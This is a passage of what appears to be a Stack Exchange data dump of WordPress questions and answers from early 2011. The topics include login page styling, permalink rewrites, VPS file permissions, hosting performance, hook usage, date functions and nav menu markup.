  <row Id="7947" PostTypeId="1" AcceptedAnswerId="7956" CreationDate="2011-01-28T02:09:40.183" Score="2" ViewCount="518" Body="&lt;p&gt;My question is how do I customize the default WordPress login and register page without editing WP's core files. I'm thinking more along the lines of a functions.php code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me out by finding a tutorial or something? Remember, I don't want to edit the WP core files. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2415" LastEditorUserId="164" LastEditorDisplayName="" LastEditDate="2011-01-28T06:56:36.310" LastActivityDate="2011-03-06T10:11:40.373" Title="How to customize wordpress login/register pages?" Tags="&lt;theme-development&gt;&lt;admin&gt;&lt;login&gt;" AnswerCount="5" FavoriteCount="2" />
  <row Id="7948" PostTypeId="2" ParentId="7941" CreationDate="2011-01-28T02:13:27.667" Score="2" ViewCount="" Body="&lt;p&gt;&lt;code&gt;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, 'CUSTOM_FIELD_NAME_HERE', true); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code you need. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just put this in your theme file anywhere you want the custom value to be displayed inside of the loop, of course when you are posting, fill out the custom field text boxes accordingly.&lt;/p&gt;&#xA;" OwnerUserId="2415" LastEditorUserId="2415" LastEditorDisplayName="" LastEditDate="2011-01-28T05:16:35.487" LastActivityDate="2011-01-28T05:16:35.487" CommentCount="2" />
  <row Id="7949" PostTypeId="2" ParentId="7922" CreationDate="2011-01-28T02:19:58.473" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Thompson:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately &lt;strong&gt;the post name &lt;em&gt;must&lt;/em&gt; be unique for a given post type&lt;/strong&gt;, and hierarchy level if the post type is hierarchical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a couple ways to address this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;code&gt;/%post_id%-%postname%/&lt;/code&gt; instead of &lt;code&gt;/%post_id%/%postname%/&lt;/code&gt;; that makes it unique and thus won't append any annoying &lt;code&gt;-N&lt;/code&gt;s to the end of your URLs and will give you a slight improvement in SEO since the important keywords will be in the website root and not one directory level down. Or&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you must have the URL structure you specify then you can just set your permalink to &lt;code&gt;/%post_id%/&lt;/code&gt; and use the &lt;code&gt;'post_link'&lt;/code&gt; and &lt;code&gt;'init'&lt;/code&gt; hooks to allow you to respectively append the post name onto the URL and to add a permastruct that matches a &lt;code&gt;post_id&lt;/code&gt;, a slash, and anything after the slash but throws the latter two away because they are not used with the permalink structure:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('post_link', 'mysite_post_link',10,2);&#xA;function mysite_post_link($permalink,$post) {&#xA;  $post = get_post($post);&#xA;  return &quot;{$permalink}{$post-&amp;gt;post_name}/&quot;;&#xA;}&#xA;add_action('init', 'mysite_init');&#xA;function mysite_init() {&#xA;  global $wp_rewrite;&#xA;  $wp_rewrite-&amp;gt;add_permastruct(&quot;user_submitted_post&quot;,&#xA;    '%post_id%/.*?', &#xA;    'p=matches[1]');&#xA;  $wp_rewrite-&amp;gt;flush_rules();  // This line is only needed once&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-28T02:19:58.473" CommentCount="12" />
  <row Id="7950" PostTypeId="2" ParentId="7886" CreationDate="2011-01-28T02:46:24.010" Score="1" ViewCount="" Body="&lt;p&gt;Could be a whole host of problems but it seems you've tracked it to a plugin. Try deleting the entire plugin directory and re-downloading your plugins. It is also possible that something went wrong during the transfer (some files didn't transfer....became corrupt, etc.). If worst comes to worst, try the transfer again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also try replacing what's in the &lt;code&gt;class-ftp-sockets.php&lt;/code&gt; file &lt;a href=&quot;http://darkman.it/x/class-ftp-sockets.php.txt&quot; rel=&quot;nofollow&quot;&gt;with this&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2746" LastActivityDate="2011-01-28T02:46:24.010" CommentCount="2" />
  <row Id="7951" PostTypeId="2" ParentId="7886" CreationDate="2011-01-28T03:54:44.877" Score="0" ViewCount="" Body="&lt;p&gt;FTP Sockets are usually only used if they are defined in wp-config.php or if none of the other update methods will work.  Check your wp-config.php and see if yours is defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default argument is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('FS_METHOD', 'direct');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The following methods are also available:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;direct (default) - PHP file system functions&lt;/li&gt;&#xA;&lt;li&gt;ssh - SSH PHP Extension&lt;/li&gt;&#xA;&lt;li&gt;ftpext - FTP PHP Extension&lt;/li&gt;&#xA;&lt;li&gt;ftpsockets - PHP socket extension&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The problem could be that settings are defined in your database but not available to use on the new VPS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To check go to yourdomain.com/wp-admin/options.php and delete the entry for ftp_credentials&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also possible that there are file ownership / permissions issues with the new VPS.  On the shared host PHP was probably running as your username.  On the VPS it will be either running as nobody or www-data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this create a web accessible file with the following code in it and name it info.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;//DELETE THIS FILE WHEN YOUR DONE FOR SECURITY REASONS&#xA;phpinfo();&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Access the file with a browser and look through the info to find the username entry at the top of the output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Access your VPS from SSH and run the following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;chown nobody:nobody /path/to/your/wordpress/wp-content/ -R&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replacing nobody:nobody with whatever username php is running under.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-01-28T03:54:44.877" />
  <row Id="7952" PostTypeId="2" ParentId="7937" CreationDate="2011-01-28T04:00:25.597" Score="0" ViewCount="" Body="&lt;h3&gt;The problem is with GoDaddy's slow network connections&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;There is nothing you can do about this accept find a new web host.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GoDaddy's servers are loaded with literally thousands of accounts per server and their databases servers are even more overloaded with limited bandwidth allocated between the servers and database servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to keep tabs on average response times use &lt;a href=&quot;http://www.pingdom.com/&quot; rel=&quot;nofollow&quot;&gt;Pingdom's free website monitoring tools.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-01-28T04:00:25.597" />
  <row Id="7953" PostTypeId="1" AcceptedAnswerId="7961" CreationDate="2011-01-28T04:07:01.117" Score="0" ViewCount="63" Body="&lt;p&gt;I'm going back and reworking categories and tags on some older posts.  So I'm going back in time, to say for example page 4 of my posts.  I know there are search filters, which might help, but let's follow through with this scenario.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on page 4, and update the first post on that page.  Now, is there a fast way to get back to page 4 to update the second post on that page?  If I've changed a lot of tags or categories, I don't want to hit the browser back key five to ten times.  Any shortcut I don't see in this case?&lt;/p&gt;&#xA;" OwnerUserId="2550" LastActivityDate="2011-01-28T06:23:47.960" Title="How to get back to same page of post-list - after updating a post" Tags="&lt;navigation&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="7954" PostTypeId="2" ParentId="7947" CreationDate="2011-01-28T04:19:03.897" Score="2" ViewCount="" Body="&lt;p&gt;Good answers here: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/5787/how-do-i-change-the-logo-on-the-login-page/&quot;&gt;How do I change the logo on the login page?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-01-28T04:19:03.897" />
  <row Id="7955" PostTypeId="2" ParentId="7947" CreationDate="2011-01-28T04:19:06.337" Score="3" ViewCount="" Body="&lt;p&gt;You can use the &lt;code&gt;add_action&lt;/code&gt; function to add on to the login function without having to edit the WP Core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a tutorial to show you how to create your custom wordpress login: &lt;a href=&quot;http://www.problogdesign.com/wordpress/custom-wordpress-login-screen/&quot; rel=&quot;nofollow&quot;&gt;http://www.problogdesign.com/wordpress/custom-wordpress-login-screen/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also plugins out there that can create custom wordpress logins, but I feel they cannot achieve the same level of customization as this one.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2011-01-28T04:19:06.337" />
  <row Id="7956" PostTypeId="2" ParentId="7947" CreationDate="2011-01-28T04:40:17.450" Score="5" ViewCount="" Body="&lt;p&gt;Here's my functions.php that you can copy the functions. My CSS is admittedly thrown together fast and could be neater. I'm in a hurried launch phase right now. But you can use the functions. The first adds css to your head of the login page to override the styles. The later two functions change the url and title attribute of the logo link.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;// LOGIN - custom style  &#xA;function my_login_style() {  &#xA;    echo '  &#xA;    #login {  &#xA;        background:none;  &#xA;        border:0;  &#xA;        box-shadow:0;  &#xA;        -moz-box-shadow: none; /* Firefox */  &#xA;        -webkit-box-shadow: none; /* Safari, Chrome */  &#xA;        box-shadow: none; /* CSS3 */  &#xA;        }  &#xA;    #nav {  &#xA;        background:none;  &#xA;        }  &#xA;    form {  &#xA;        -moz-box-shadow: 0 4px 18px #0b0b0b;  &#xA;        -webkit-box-shadow: 0 4px 18px #0b0b0b;&#xA;        box-shadow: 0 4px 18px #0b0b0b;&#xA;        }&#xA;&#xA;    #login form#loginform, #login form#registerform, #login form#lostpasswordform {&#xA;        border: 1px solid #fff;&#xA;        }&#xA;&#xA;    #login h1 {&#xA;        margin-bottom: 10px;&#xA;        }&#xA;&#xA;    #login h1 a {&#xA;        width:300px;&#xA;        height:85px;&#xA;        margin: 0 auto 31px;&#xA;        }&#xA;&#xA;    #login form#loginform #user_login, #login form#loginform #user_email, #login form#registerform #user_login, #login form#registerform #user_email, #login form#lostpasswordform #user_login, #login form#loginform #user_pass, #login form#loginform #openid_identifier   &#xA;        {  &#xA;        border: 1px solid #aaa;  &#xA;        }  &#xA;&#xA;    #login form .submit input {  &#xA;        background: #2bab44 url(&quot;zhttp://www.domain.com/site/themes/mytheme/img/login-button-gradient8.png&quot;) left top repeat-x !important;   &#xA;        border: 1px solid #008717 !important;  &#xA;        text-shadow: -1px -1px 0 rgba(0, 0, 0, 0.3);  &#xA;        padding: 5px 20px;  &#xA;        }  &#xA;&#xA;    #login form .submit input:hover {   &#xA;        background: url(&quot;http://www.my.com/site/themes/my/img/login-button-gradient7.png&quot;) left -24px repeat-x !important;   &#xA;        border: 1px solid #2b8c35 !important;  &#xA;        text-shadow: -1px -1px 0 rgba(0, 0, 0, 0.3);  &#xA;        }  &#xA;&#xA;    #login form .submit input:active {&#xA;        padding: 5px 20px; /*reqd here for some reason */&#xA;        }&#xA;&#xA;    body.login p#nav a {&#xA;        color: #888 !important;&#xA;        text-shadow:none;&#xA;        font-weight:normal;&#xA;        letter-spacing:0;&#xA;        }&#xA;    body.login p#nav a:hover {&#xA;        color: #88eb86 !important;&#xA;        text-decoration: underline;&#xA;        }   &#xA;&#xA;    .login #backtoblog a {&#xA;        display:none;&#xA;        }&#xA;&#xA;    #login #login_error {&#xA;        font-size: 13px;&#xA;        font-weight: normal;&#xA;        text-shadow: none;&#xA;        margin: -11px auto 0;&#xA;        padding: 12px;&#xA;        width: 275px;&#xA;        background: #ffb5b4;&#xA;        border: 1px solid #db5858;&#xA;        -moz-border-radius: 10px !important;&#xA;        border-radius: 5px;&#xA;        }   &#xA;&#xA;    #login .message {&#xA;        font-weight: normal;&#xA;        color: #bbb;&#xA;        text-shadow: none;&#xA;        }&#xA;    #user_pass, #user_login, #user_email {&#xA;        background: #fff;   &#xA;        }   &#xA;    ';&#xA;    }&#xA;    add_action('login_head', 'my_login_style');&#xA;&#xA;//// LOGIN - function to change link of logo on login page  &#xA;function my_login_custom_site_url($url) {  &#xA;    return get_bloginfo('siteurl'); //return the current wp blog url  &#xA;    }  &#xA;    add_filter(&quot;login_headerurl&quot;,&quot;my_login_custom_site_url&quot;);  &#xA;&#xA;//// LOGIN - function to change link title of logo on login page (remove's WordPress' slogan)  &#xA;function my_login_header_title($message) {  &#xA;    return False; /*return the description of current blog */  &#xA;    }  &#xA;    add_filter(&quot;login_headertitle&quot;,&quot;my_login_header_title&quot;);  &#xA;&lt;/pre&gt;&#xA;" OwnerUserId="2771" LastActivityDate="2011-01-28T04:40:17.450" />
  <row Id="7957" PostTypeId="1" AcceptedAnswerId="7963" CreationDate="2011-01-28T05:13:06.677" Score="0" ViewCount="82" Body="&lt;p&gt;I downloaded various themes on net and I found on &lt;code&gt;functions.php&lt;/code&gt; they write something like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example to remove inline comment style.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function demo_remove_recent_comments_style() {&#xA;    add_filter( 'show_recent_comments_widget_style', '__return_false' );&#xA;}&#xA;add_action( 'widgets_init', 'demo_remove_recent_comments_style' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Question&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why we not write only this without a &lt;code&gt;function()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'show_recent_comments_widget_style', '__return_false' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let me know&lt;/p&gt;&#xA;" OwnerUserId="2163" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-28T07:25:08.380" LastActivityDate="2011-01-28T07:25:08.380" Title="It's okay if I do not write add_action()" Tags="&lt;themes&gt;&lt;functions&gt;&lt;hooks&gt;" AnswerCount="2" />
  <row Id="7958" PostTypeId="2" ParentId="7957" CreationDate="2011-01-28T05:55:13.830" Score="0" ViewCount="" Body="&lt;p&gt;Without more context, it's difficult to know exactly why, but generally, this might offer a marginal improvement to site performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As written, the &lt;code&gt;add_action&lt;/code&gt; function limits how often the &lt;code&gt;add_filter&lt;/code&gt; function is fired. It will only execute when the &lt;code&gt;widgets_init&lt;/code&gt; hook is encountered before the &lt;code&gt;show_recent_comments_widget_style&lt;/code&gt; hook. On the same note, the &lt;code&gt;show_recent_comments_widget_style&lt;/code&gt; hook can be used in the code without executing the add_filter function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without the &lt;code&gt;function()&lt;/code&gt;, the code would fire each time the &lt;code&gt;show_recent_comments_widget_style&lt;/code&gt; hook was encountered, whether or not the &lt;code&gt;widgets_init&lt;/code&gt; function came first. &lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2011-01-28T05:55:13.830" CommentCount="2" />
  <row Id="7959" PostTypeId="1" AcceptedAnswerId="7962" CreationDate="2011-01-28T06:03:02.360" Score="0" ViewCount="132" Body="&lt;p&gt;I'm using the_time function to print the current date on my site. The problem is, that it's returning post or page creation times on pages other than the front page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I force it to print the &lt;em&gt;current&lt;/em&gt; time on all views?&lt;/p&gt;&#xA;" OwnerUserId="2391" LastActivityDate="2011-01-28T06:38:07.473" Title="How to call the_time current?" Tags="&lt;theme-development&gt;&lt;functions&gt;&lt;date-time&gt;" AnswerCount="1" />
  <row Id="7960" PostTypeId="2" ParentId="7937" CreationDate="2011-01-28T06:22:03.063" Score="0" ViewCount="" Body="&lt;p&gt;I never looked into specifics, but I do know that after long periods inactivity first load comes with increased number (2x-3x) of database queries . Likely some semi-persistent data is getting recalculated and cached. Still 10s seems way too long even for that. It is hard to guess what might be taking so long without taking your specific installation apart and logging what is going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As band-aid alternative I can suggest caching plugin that performs pre-caching of results, such as already mentioned &lt;a href=&quot;http://wordpress.org/extend/plugins/w3-total-cache/&quot; rel=&quot;nofollow&quot;&gt;W3 Total Cache&lt;/a&gt;. That way first load would be triggered by code and performed in background so your visitors will be less likely to encounter that pause.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-28T06:22:03.063" />
  <row Id="7961" PostTypeId="2" ParentId="7953" CreationDate="2011-01-28T06:23:47.960" Score="2" ViewCount="" Body="&lt;p&gt;Open post to edit in new browser tab/window so that page X remains in original tab/window?&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-28T06:23:47.960" CommentCount="1" />
  <row Id="7962" PostTypeId="2" ParentId="7959" CreationDate="2011-01-28T06:26:32.150" Score="1" ViewCount="" Body="&lt;p&gt;the_time() function is a WordPress built-in function to display the time of the post creation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you want to display the current date and time you need to use php function &lt;a href=&quot;http://php.net/manual/en/function.date.php&quot; rel=&quot;nofollow&quot;&gt;date&lt;/a&gt;&#xA;something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;// Assuming today is March 10th, 2001, 5:16:18 pm, and that we are in the&#xA;// Mountain Standard Time (MST) Time Zone&#xA;&#xA;$today = date(&quot;F j, Y, g:i a&quot;);                 // March 10, 2001, 5:16 pm&#xA;$today = date(&quot;m.d.y&quot;);                         // 03.10.01&#xA;$today = date(&quot;j, n, Y&quot;);                       // 10, 3, 2001&#xA;$today = date(&quot;Ymd&quot;);                           // 20010310&#xA;$today = date('h-i-s, j-m-y, it is w Day');     // 05-16-18, 10-03-01, 1631 1618 6 Satpm01&#xA;$today = date('\i\t \i\s \t\h\e jS \d\a\y.');   // it is the 10th day.&#xA;$today = date(&quot;D M j G:i:s T Y&quot;);               // Sat Mar 10 17:16:18 MST 2001&#xA;$today = date('H:m:s \m \i\s\ \m\o\n\t\h');     // 17:03:18 m is month&#xA;$today = date(&quot;H:i:s&quot;);                         // 17:16:18&#xA;&#xA;// and echo it out&#xA;echo $today;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hopes this helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-28T06:26:32.150" />
  <row Id="7963" PostTypeId="2" ParentId="7957" CreationDate="2011-01-28T06:35:08.053" Score="2" ViewCount="" Body="&lt;p&gt;It is not always &lt;em&gt;required&lt;/em&gt; technically but it is &lt;em&gt;good practice&lt;/em&gt; to follow for multiple reasons:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Code is more organized by keeping hook-related stuff together&lt;/li&gt;&#xA;&lt;li&gt;The more precise conditions when it runs - the better for performance&lt;/li&gt;&#xA;&lt;li&gt;It is easier to unhook function, that performs multiple &lt;em&gt;add&lt;/em&gt;_, then unhook each &lt;em&gt;add&lt;/em&gt;_ individually.&lt;/li&gt;&#xA;&lt;li&gt;The order of adding functions matters when not specifying priority.&lt;/li&gt;&#xA;&lt;li&gt;The child theme (if used) is processed before parent theme and it can lead to confusing stuff with hooks if &lt;em&gt;add&lt;/em&gt;_ and &lt;em&gt;remove&lt;/em&gt;_ are performed inline.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Of course in some specific examples (yours does fit) it does seem overly verbose to write out all of that just to manipulate single item on single hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Myself I use couple of my own (and somewhat messy functions) - &lt;code&gt;add_filter_return()&lt;/code&gt; and &lt;code&gt;add_action_with_arguments()&lt;/code&gt; to lower amount of wrapping when working with hooks.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-28T06:35:08.053" CommentCount="1" />
  <row Id="7965" PostTypeId="2" ParentId="7947" CreationDate="2011-01-28T06:38:45.463" Score="0" ViewCount="" Body="&lt;p&gt;Here is a thorough tutorial published recently by some very knowledgeable WP developers: &lt;a href=&quot;http://digwp.com/2010/12/login-register-password-code/&quot; rel=&quot;nofollow&quot;&gt;http://digwp.com/2010/12/login-register-password-code/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Demo: &lt;a href=&quot;http://digwp.com/custom-login-demo/&quot; rel=&quot;nofollow&quot;&gt;http://digwp.com/custom-login-demo/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;One of the core WP devs just published this tutorial on customizing your log-in screen logo:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://markjaquith.wordpress.com/2011/02/01/customized-wordpress-login-screen/&quot; rel=&quot;nofollow&quot;&gt;http://markjaquith.wordpress.com/2011/02/01/customized-wordpress-login-screen/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="164" LastEditorUserId="164" LastEditorDisplayName="" LastEditDate="2011-02-02T20:28:22.167" LastActivityDate="2011-02-02T20:28:22.167" CommentCount="1" />
  <row Id="7966" PostTypeId="2" ParentId="7874" CreationDate="2011-01-28T07:21:32.253" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@idontknowhow:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You've focused on trying to solve the problem in PHP when in fact you needed to focus on the SQL. Your first problem was you reversed the &lt;em&gt;&quot;polarity&quot; (which is a term I made up just now, but it kinda fits)&lt;/em&gt;; you were looking for both a start date that was greater than today and an end date the was earlier than today; a logical impossibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second problem ignoring the reversed polarity was more subtle; you were comparing dates with equal length strings so you could get a false positive. This SQL illustrates the problem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * FROM wp_posts WHERE '2011-9-20' &amp;lt; '2011-11-20'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;WHERE&lt;/code&gt; criteria &lt;em&gt;&quot;looks&quot;&lt;/em&gt; true and thus the query should return all records when in fact it returns none and that is because &lt;code&gt;'2011-9' &amp;lt; '2011-1'&lt;/code&gt; is actually false.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here's a working replacement for your &lt;code&gt;date_check_where()&lt;/code&gt; function that uses the SQL &lt;code&gt;DATE()&lt;/code&gt; function to normalize the strings in dates into real date values so they can be compared and it of course fixes the polarity issue I mentioned at first:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'posts_where', 'date_check_where' );&#xA;function date_check_where( $where ) {&#xA;  $today = date('Y-m-d');&#xA;  $where .=&amp;lt;&amp;lt;&amp;lt;SQL&#xA; AND DATE(startdate.meta_value) &amp;gt;= DATE('{$today}')&#xA; AND DATE(enddate.meta_value) &amp;lt;= DATE('{$today}')&#xA;SQL;&#xA;  return $where;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note I used &lt;code&gt;date('Y-m-d')&lt;/code&gt; instead of &lt;code&gt;date('Y-n-j')&lt;/code&gt; because I find it cleaner to use, and it doesn't need to make the meta fields because of the &lt;code&gt;DATE()&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-28T07:21:32.253" />
  <row Id="7967" PostTypeId="2" ParentId="7937" CreationDate="2011-01-28T07:45:22.583" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Ladislav Mrnka:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a well-known problem among WordPress specialists that &lt;strong&gt;GoDaddy overloads their servers and you get tons of performance problems with it&lt;/strong&gt;.  If you are at GoDaddy because they are inexpensive let me recommend a host I've been using for years: A Small Orange. You can get a minimum account there for $US25/year, their &lt;a href=&quot;http://www.asmallorange.com/hosting/shared/&quot; rel=&quot;nofollow&quot;&gt;Tiny plan&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other solution is to &lt;strong&gt;set up a &lt;a href=&quot;http://en.wikipedia.org/wiki/Cron&quot; rel=&quot;nofollow&quot;&gt;cron task&lt;/a&gt; or &lt;a href=&quot;http://en.wikipedia.org/wiki/Task_Scheduler&quot; rel=&quot;nofollow&quot;&gt;scheduled task&lt;/a&gt; to call your home page once per minute&lt;/strong&gt; or maybe once every 5 minutes and that should keep it loading fast.  Since I don't know exactly how GoDaddy works I'll give you some pages that should help you figure out how:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://help.godaddy.com/article/3483&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;What is a Cron Job?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://weblogs.asp.net/steveschofield/archive/2006/09/28/Schedule-a-task-to-call-a-webpage-using-Task-scheduler_2E00_.aspx&quot; rel=&quot;nofollow&quot;&gt;Schedule a task to call a webpage using Task scheduler&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://drupal.org/node/251481&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;How to set up cron job on godaddy?&lt;/strong&gt;&lt;/a&gt; (for Drupal, but it's mostly the same)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.reidmiller.name/drupal-cron-jobs-on-godaddy-hosting&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;running drupal cron jobs on godaddy hosting&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://stackoverflow.com/questions/850556/how-to-emulate-cron-jobs-on-a-windows-server&quot;&gt;&lt;strong&gt;How to emulate Cron Jobs on a Windows Server?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-28T07:45:22.583" />
  <row Id="7968" PostTypeId="1" AcceptedAnswerId="7969" CreationDate="2011-01-28T08:32:27.907" Score="1" ViewCount="1331" Body="&lt;p&gt;I search on this site and found many &lt;a href=&quot;http://wordpress.stackexchange.com/search?q=wp_nav_menu&quot;&gt;answers&lt;/a&gt; for this question. Most of them is not working on my theme. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a one solution I &lt;a href=&quot;http://techblog.willshouse.com/2011/01/15/how-to-remove-the-container-with-the-wp_nav_menu-function/&quot; rel=&quot;nofollow&quot;&gt;found&lt;/a&gt; and it's working according to my need.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wp_nav_menu_no_ul()&#xA;{&#xA;    $options = array(&#xA;        'echo' =&amp;gt; false,&#xA;        'container' =&amp;gt; false,&#xA;        'theme_location' =&amp;gt; 'primary'&#xA;    );&#xA;&#xA;    $menu = wp_nav_menu($options);&#xA;    echo preg_replace(array(&#xA;        '#^&amp;lt;ul[^&amp;gt;]*&amp;gt;#',&#xA;        '#&amp;lt;/ul&amp;gt;$#'&#xA;    ), '', $menu);&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code will remove &lt;code&gt;ul&lt;/code&gt; at beginning and the end of &lt;code&gt;wp_nav_menu()&lt;/code&gt;. So in my theme I just write &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;primary-nav&quot;&amp;gt;&#xA;&amp;lt;?php  wp_nav_menu_no_ul(); ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the problem is coming again when I do not add or activate any menu via admin. &lt;code&gt;http://domain.com/wp-admin/nav-menus.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I remove the &lt;code&gt;&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt;**&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt; whether the menu is active or not. Let me know&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Finally I got it worked :) &lt;code&gt;functions.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wp_nav_menu_no_ul()&#xA;{&#xA;    $options = array(&#xA;        'echo' =&amp;gt; false,&#xA;        'container' =&amp;gt; false,&#xA;        'theme_location' =&amp;gt; 'primary',&#xA;        'fallback_cb'=&amp;gt; 'default_page_menu'&#xA;    );&#xA;&#xA;  